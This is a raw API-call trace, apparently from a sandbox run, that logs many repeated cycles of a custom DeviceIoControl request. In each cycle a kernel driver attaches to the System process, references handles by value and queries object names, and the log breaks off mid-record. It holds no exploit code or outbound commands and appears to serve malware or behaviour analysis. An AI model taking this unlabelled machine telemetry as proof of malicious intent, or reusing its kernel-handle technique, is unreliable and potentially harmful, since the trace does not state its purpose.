DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.047] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.047] PsAcquireProcessExitSynchronization () returned 0x0 [0130.047] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.048] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800235a460, HandleInformation=0x0) returned 0x0 [0130.048] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.048] PsReleaseProcessExitSynchronization () returned 0x2 [0130.048] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.048] ObQueryNameString (in: Object=0xfffffa800235a460, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.048] ObfDereferenceObject (Object=0xfffffa800235a460) returned 0x2 [0130.048] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.048] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.048] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.048] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.048] PsAcquireProcessExitSynchronization () returned 0x0 [0130.048] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.048] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213eb80, HandleInformation=0x0) returned 0x0 [0130.048] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.048] PsReleaseProcessExitSynchronization () returned 0x2 [0130.048] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.048] ObQueryNameString (in: Object=0xfffffa800213eb80, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.048] ObfDereferenceObject (Object=0xfffffa800213eb80) returned 0x2 [0130.048] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.048] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.048] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0130.048] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.048] PsAcquireProcessExitSynchronization () returned 0x0 [0130.048] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.048] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020863b0, HandleInformation=0x0) returned 0x0 [0130.048] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.048] PsReleaseProcessExitSynchronization () returned 0x2 [0130.048] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.048] ObQueryNameString (in: Object=0xfffffa80020863b0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.049] ObfDereferenceObject (Object=0xfffffa80020863b0) returned 0x2 [0130.049] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.049] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.049] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.049] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.049] PsAcquireProcessExitSynchronization () returned 0x0 [0130.049] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.049] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800e5cc050, HandleInformation=0x0) returned 0x0 [0130.049] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.049] PsReleaseProcessExitSynchronization () returned 0x2 [0130.049] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.049] ObQueryNameString (in: Object=0xfffffa800e5cc050, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.049] ObfDereferenceObject (Object=0xfffffa800e5cc050) returned 0x2 [0130.049] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.049] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.049] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.049] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.049] PsAcquireProcessExitSynchronization () returned 0x0 [0130.049] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.049] ObReferenceObjectByHandle (in: Handle=0xffffffff800005e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80025243b0, HandleInformation=0x0) returned 0x0 [0130.049] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.049] PsReleaseProcessExitSynchronization () returned 0x2 [0130.049] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.049] ObQueryNameString (in: Object=0xfffffa80025243b0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.050] ObfDereferenceObject (Object=0xfffffa80025243b0) returned 0x2 [0130.050] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.050] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.050] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.050] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.050] PsAcquireProcessExitSynchronization () returned 0x0 [0130.050] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.050] ObReferenceObjectByHandle (in: Handle=0xffffffff800005e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80033f89a0, HandleInformation=0x0) returned 0x0 [0130.050] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.050] PsReleaseProcessExitSynchronization () returned 0x2 [0130.050] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.050] ObQueryNameString (in: Object=0xfffffa80033f89a0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.050] ObfDereferenceObject (Object=0xfffffa80033f89a0) returned 0x2 [0130.050] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.050] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.050] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.050] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.050] PsAcquireProcessExitSynchronization () returned 0x0 [0130.050] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.050] ObReferenceObjectByHandle (in: Handle=0xffffffff800005f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003311f20, HandleInformation=0x0) returned 0x0 [0130.050] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.050] PsReleaseProcessExitSynchronization () returned 0x2 [0130.050] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.050] ObQueryNameString (in: Object=0xfffffa8003311f20, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.050] ObfDereferenceObject (Object=0xfffffa8003311f20) returned 0x2 [0130.051] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.051] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.051] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.051] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.051] PsAcquireProcessExitSynchronization () returned 0x0 [0130.051] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.051] ObReferenceObjectByHandle (in: Handle=0xffffffff800005f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003312b70, HandleInformation=0x0) returned 0x0 [0130.051] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.051] PsReleaseProcessExitSynchronization () returned 0x2 [0130.051] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.051] ObQueryNameString (in: Object=0xfffffa8003312b70, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.051] ObfDereferenceObject (Object=0xfffffa8003312b70) returned 0x2 [0130.051] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.051] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.051] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.051] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.051] PsAcquireProcessExitSynchronization () returned 0x0 [0130.051] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.051] ObReferenceObjectByHandle (in: Handle=0xffffffff80000608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019d8130, HandleInformation=0x0) returned 0x0 [0130.051] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.051] PsReleaseProcessExitSynchronization () returned 0x2 [0130.051] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.051] ObQueryNameString (in: Object=0xfffffa80019d8130, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.051] ObfDereferenceObject (Object=0xfffffa80019d8130) returned 0x2 [0130.051] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.051] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.051] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0130.052] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.052] PsAcquireProcessExitSynchronization () returned 0x0 [0130.052] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.052] ObReferenceObjectByHandle (in: Handle=0xffffffff80000610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800d41cd20, HandleInformation=0x0) returned 0x0 [0130.052] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.052] PsReleaseProcessExitSynchronization () returned 0x2 [0130.052] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.052] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.052] ObfDereferenceObject (Object=0xfffffa800d41cd20) returned 0x12 [0130.052] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.052] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.052] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.052] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.052] PsAcquireProcessExitSynchronization () returned 0x0 [0130.052] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.052] ObReferenceObjectByHandle (in: Handle=0xffffffff8000061c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032f6cf0, HandleInformation=0x0) returned 0x0 [0130.052] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.052] PsReleaseProcessExitSynchronization () returned 0x2 [0130.052] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.052] ObQueryNameString (in: Object=0xfffffa80032f6cf0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.052] ObfDereferenceObject (Object=0xfffffa80032f6cf0) returned 0x2 [0130.052] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.052] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.052] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.052] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.052] PsAcquireProcessExitSynchronization () returned 0x0 [0130.052] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.052] ObReferenceObjectByHandle (in: Handle=0xffffffff80000620, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800342a5e0, HandleInformation=0x0) returned 0x0 [0130.052] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.052] PsReleaseProcessExitSynchronization () returned 0x2 [0130.052] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.052] ObQueryNameString (in: Object=0xfffffa800342a5e0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.053] ObfDereferenceObject (Object=0xfffffa800342a5e0) returned 0x2 [0130.053] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.053] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.053] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.053] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.053] PsAcquireProcessExitSynchronization () returned 0x0 [0130.053] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.053] ObReferenceObjectByHandle (in: Handle=0xffffffff8000062c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f17700, HandleInformation=0x0) returned 0x0 [0130.053] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.053] PsReleaseProcessExitSynchronization () returned 0x2 [0130.053] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.053] ObQueryNameString (in: Object=0xfffffa8001f17700, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.053] ObfDereferenceObject (Object=0xfffffa8001f17700) returned 0x2 [0130.053] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.053] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.053] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.053] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.053] PsAcquireProcessExitSynchronization () returned 0x0 [0130.053] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.053] ObReferenceObjectByHandle (in: Handle=0xffffffff80000630, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002149310, HandleInformation=0x0) returned 0x0 [0130.053] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.053] PsReleaseProcessExitSynchronization () returned 0x2 [0130.053] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.053] ObQueryNameString (in: Object=0xfffffa8002149310, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.053] ObfDereferenceObject (Object=0xfffffa8002149310) returned 0x2 [0130.053] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.054] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.054] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.054] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.054] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.054] PsAcquireProcessExitSynchronization () returned 0x0 [0130.054] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.054] ObReferenceObjectByHandle (in: Handle=0xffffffff80000634, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800edee1f0, HandleInformation=0x0) returned 0x0 [0130.054] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.054] PsReleaseProcessExitSynchronization () returned 0x2 [0130.054] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.054] ObQueryNameString (in: Object=0xfffffa800edee1f0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.054] ObfDereferenceObject (Object=0xfffffa800edee1f0) returned 0x2 [0130.054] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.054] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.054] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.054] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.054] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.054] PsAcquireProcessExitSynchronization () returned 0x0 [0130.054] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.054] ObReferenceObjectByHandle (in: Handle=0xffffffff80000638, DesiredAccess=0x0, 